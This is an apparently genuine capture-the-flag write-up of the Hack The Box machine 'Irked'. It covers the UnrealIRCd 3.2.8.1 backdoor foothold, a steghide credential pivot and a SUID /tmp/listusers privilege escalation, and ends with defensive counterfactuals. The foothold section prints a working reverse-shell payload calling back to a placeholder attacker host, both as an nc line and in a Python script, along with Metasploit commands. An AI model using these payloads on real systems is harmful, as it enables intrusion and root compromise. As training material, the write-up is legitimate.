- OS: Linux (Debian 8)
- Domain / vhosts: none
Summary
Irked is a three-step Linux Easy with an unusual middle layer — steganography
— sitting between a well-known supply-chain backdoor and a custom SUID
binary. The chain is: UnrealIRCd 3.2.8.1 backdoor (CVE-2010-2075) for
the foothold, steghide extraction from the homepage image for the
lateral move to djmardov, and a world-writable /tmp/listusers
call from a SUID root binary (viewuser) for root.
The teaching beats: (1) supply-chain backdoors in open-source software are
rare but catastrophic — the UnrealIRCd 3.2.8.1 tarball was silently
replaced with a trojanised version and remained in distribution for seven
months; (2) hidden dot-files in home directories (~/.backup) are a
recurring HTB clue-placement pattern — always ls -la; (3) ltrace on an
unknown SUID binary immediately shows system calls, making it the fastest
analysis tool for simple custom binaries.
Recon
nmap -p- --min-rate=5000 -oN nmap/allports.txt <TARGET>
nmap -sC -sV -p 22,80,111,6697,8067,65534 -oN nmap/scripts.txt <TARGET>
22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u4
80/tcp open http Apache httpd 2.4.10 (Debian)
111/tcp open rpcbind 2-4 (RPC #100000)
6697/tcp open irc UnrealIRCd
8067/tcp open irc UnrealIRCd
65534/tcp open irc UnrealIRCd
Three IRC ports is immediately unusual. The server banner identifies
UnrealIRCd; searching the version confirms 3.2.8.1 is the backdoored
release. The web server at port 80 serves only a single page with the
irked.jpg image — an emoji face. No directories of interest exist on the
web layer.
Foothold — CVE-2010-2075 (UnrealIRCd 3.2.8.1 backdoor)
The UnrealIRCd 3.2.8.1 source tarball was replaced on the project’s
distribution server in November 2009 with a version containing a
backdoor in include/s_bsd.h. The backdoor checks each received line: if
it begins with the two-character sequence AB, the remainder of the line
(after the separator) is passed to system(). This was discovered and
disclosed in June 2010 — nearly seven months after the trojanised tarball
went live.
The trigger works on any of the three IRC listening ports. No IRC authentication is required; any TCP connection suffices.
Manual exploitation:
# set up listener
nc -lvnp 4444
# send the backdoor trigger
nc <TARGET> 6697
AB; rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc <ATTACKER> 4444 > /tmp/f
Type the AB; payload and press Enter. The IRC daemon executes the
remainder as a shell command under the ircd user account.
UnrealIRCd anti-flood (“Reconnecting too fast”) trap: the box
maintains a per-IP reconnect throttle. Every probe (port-scan,
nmap-banner-grab, failed nc, msfconsole’s exploit re-runs) bumps
the counter, and the IRC daemon then refuses connections from the
attacker for an extended period — ERROR :Closing Link: ... (Throttled:
Reconnecting too fast). While throttled, every attempt fails the
same way (banner: connection accepted but no IRCd response, then
silent close), which masquerades as “the backdoor is patched.”
If the chain has stalled and you see throttle errors, reset the
machine rather than waiting it out. After reset the IRC service
takes ~30s to come back; poll port 6697 for the
:irked.htb NOTICE AUTH :*** Looking up your hostname... banner
and fire once, no retry. From a fresh non-throttled attacker IP
(post-reset on the lab side, since the target is what’s bookkeeping
the throttle state, not us) the backdoor fires on the first attempt.
Use python3 -c '...socket...' over nc for the trigger — Python
gives you read-the-banner-then-send sequencing without nc’s
buffering quirks, and lets you sleep before close so the system()
call has time to fork the shell:
import socket, time
s = socket.create_connection((target, 6697), timeout=15)
time.sleep(1)
s.recv(2048) # consume banner
s.sendall(b"AB; rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc <ATTACKER> 4444 > /tmp/f\n")
time.sleep(8)
s.close()
Metasploit path:
use exploit/unix/irc/unreal_ircd_3281_backdoor
set RHOSTS <TARGET>
set RPORT 6697
set LHOST <ATTACKER>
run
Either method delivers a shell as ircd.
Lateral move — steghide extraction from irked.jpg
As ircd, enumerate accessible home directories:
ls -la /home/djmardov/Documents/
A hidden file is present:
-rw-r--r-- 1 djmardov djmardov 52 Nov 3 2018 .backup
cat /home/djmardov/Documents/.backup
Super elite steg backup pw
<redacted-konami-passphrase>
The file is a hint: a steganography passphrase hidden inside the web
server’s irked.jpg. Download the image and extract:
wget http://<TARGET>/irked.jpg
steghide extract -sf irked.jpg -p <redacted-konami-passphrase>
steghide extracts pass.txt, which contains djmardov’s SSH password.
ssh djmardov@<TARGET>
user.txt is at /home/djmardov/user.txt.
Privilege escalation — SUID viewuser calls /tmp/listusers
SUID binary sweep:
find / -perm -4000 -type f 2>/dev/null
The non-standard binary /usr/bin/viewuser appears alongside the expected
system SUID set. Analyse it with ltrace to observe system calls without
needing a decompiler:
ltrace viewuser
...
system("who") → lists logged-in users
setuid(0) → 0 (escalates to root)
system("/tmp/listusers") → sh: 1: /tmp/listusers: not found
...
The binary calls system("/tmp/listusers") after setuid(0) — but
/tmp/listusers does not exist. Any user can create it. Because the
setuid(0) call has already set effective UID to 0 before the
system() call, the shell spawned by the script inherits root context.
echo sh > /tmp/listusers
chmod +x /tmp/listusers
viewuser
root@irked:/home/djmardov# id
uid=0(root) gid=0(root) groups=0(root)
root.txt is at /root/root.txt.
Why each step worked
- UnrealIRCd supply-chain backdoor: the attacker replaced the official
tarball with a version containing a one-line code insertion. Anyone who
downloaded and compiled 3.2.8.1 from the project site during the
affected window was running the backdoored binary. Tarball integrity was
not verified (no signed release at the time). The backdoor pattern —
checking for a magic byte prefix and calling
system()— is trivially small and survives casual code review. .backuphidden by dot-prefix, readable by others: Unix convention treats files beginning with.as “hidden” from directory listing defaults. The file was world-readable, butls(without-aor-la) does not show it. The steganography layer adds an additional hop: even reading.backupdoes not give credentials directly — the passphrase must be used against the image.steghideJPEG steganography: steghide embeds data in JPEG files using the DCT coefficient domain (modified discrete cosine transform values). The embedded file is invisible to image viewers and hash comparison; only tools that know the passphrase can extract it.viewuserSUID + world-writable/tmp: the binary was written to demonstrate a “list system users” function. The developer usedsystem("/tmp/listusers")rather than a compiled-in function or a path-validated helper./tmpis world-writable by design on Unix. Because the binary sets effective UID 0 before thesystem()call, the shell inherits root — and/tmp/listusersdidn’t exist, so any local user could plant it.
Counterfactuals
- Verify tarball integrity with a cryptographic signature before installing. Had UnrealIRCd been distributed with GPG-signed releases and had operators verified them, the backdoor would have been detected immediately. Modern projects use signed tags in git and published SHA-256 sums; always verify both.
- Upgrade UnrealIRCd to any version after 3.2.8.1 (the backdoor was removed in the emergency re-release). The vulnerability was disclosed in 2010; running the affected version in 2018 means eight years without applying a published security fix.
- Do not store cleartext credentials or passphrase hints in world-readable
files in home directories.
/home/djmardov/Documents/.backupis readable by any local user. - Remove the SUID bit from
viewuseror rewrite it to not callsystem()with an external script:chmod u-s /usr/bin/viewuser. If a user listing function is required, callgetpwent()directly in C rather than shelling out to a script. - Apply
noexecto/tmpand/var/tmpat mount time (though this can be bypassed by writing a shell script to a writable path inside the PATH and exploitingsystem()calls that use bare filenames).
Key Takeaways
- Supply-chain attacks on open-source software are not theoretical. The UnrealIRCd backdoor was live for seven months before discovery; similar incidents include the XZ Utils backdoor (2024) and the event-stream npm compromise (2018). Cryptographic integrity verification of all installed software is the only reliable defence.
ls -lais mandatory when enumerating home directories. Hidden dot-files (~/.backup,~/.bash_history,~/.ssh/authorized_keys) are invisible to plainlsand are a common clue-placement pattern on HTB.ltrace <suid_binary>immediately showssystem(),execve(), and file operations without requiring disassembly. For simple custom binaries this is faster thanstrings,strace, or a decompiler.- A
system("<path>")call in a SUID binary where<path>is in/tmp(world-writable) is always a root shell. Check both existence and permissions of the called script. - steghide is the de-facto HTB steganography tool for JPEG/BMP. The
invocation is
steghide extract -sf <image> -p <passphrase>. When a hidden hint mentions “steg” and an image is visible, this is the first tool to reach for.
References
- 0xdf, “HTB: Irked” — https://0xdf.gitlab.io/2019/04/27/htb-irked.html
- IppSec, “Irked” — https://ippsec.rocks/?#Irked
- CVE-2010-2075 (UnrealIRCd 3.2.8.1 backdoor)
- UnrealIRCd security advisory, June 2010